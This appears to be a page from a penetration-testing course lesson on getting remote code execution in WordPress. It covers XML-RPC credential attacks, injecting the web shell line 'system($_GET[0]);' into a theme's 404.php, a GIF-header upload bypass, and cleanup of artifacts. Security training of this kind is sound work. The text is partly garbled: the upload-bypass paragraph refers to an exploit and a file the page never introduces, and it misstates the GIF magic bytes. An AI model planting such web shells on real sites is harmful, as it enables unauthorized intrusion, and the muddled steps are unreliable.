A structured lesson workspace with readable content, hands-on examples, and a clean path to completion.
You have two valid usernames and XML-RPC enabled. The fastest path to RCE on WordPress usually runs through admin credentials and the theme editor. But if a plugin has an unauthenticated RCE, skip the credentials entirely.
XML-RPC is faster than brute-forcing wp-login.php because it batches authentication attempts through the API. The john account has admin-level access. That's your way into the theme editor.
Log in as john. Navigate to Appearance → Theme Editor. Select an inactive theme like Twenty Nineteen to avoid corrupting the live site. Open 404.php and inject a single line below the comments.
system($_GET[0]);
GIF689a; header is the GIF magic bytes the exploit prepends to bypass MIME type validation. The file is PHP, but the server sees a GIF header and allows the upload. Classic content-type bypass.Clean up every artifact. The uthsdkbywoxeebg-1629904090.8191.php file, the modified 404.php, any Metasploit payloads in wp-content/plugins. List every artifact in your report appendices regardless of whether removal succeeded.
Three paths to RCE on a single WordPress install. Credentials plus theme editor. Unauthenticated plugin exploit. LFI for data theft. The application you'll encounter most often in your career, and it hands you shells if you know where to look.
Finish the lesson once you have worked through the material. This awards ★ 40 XP.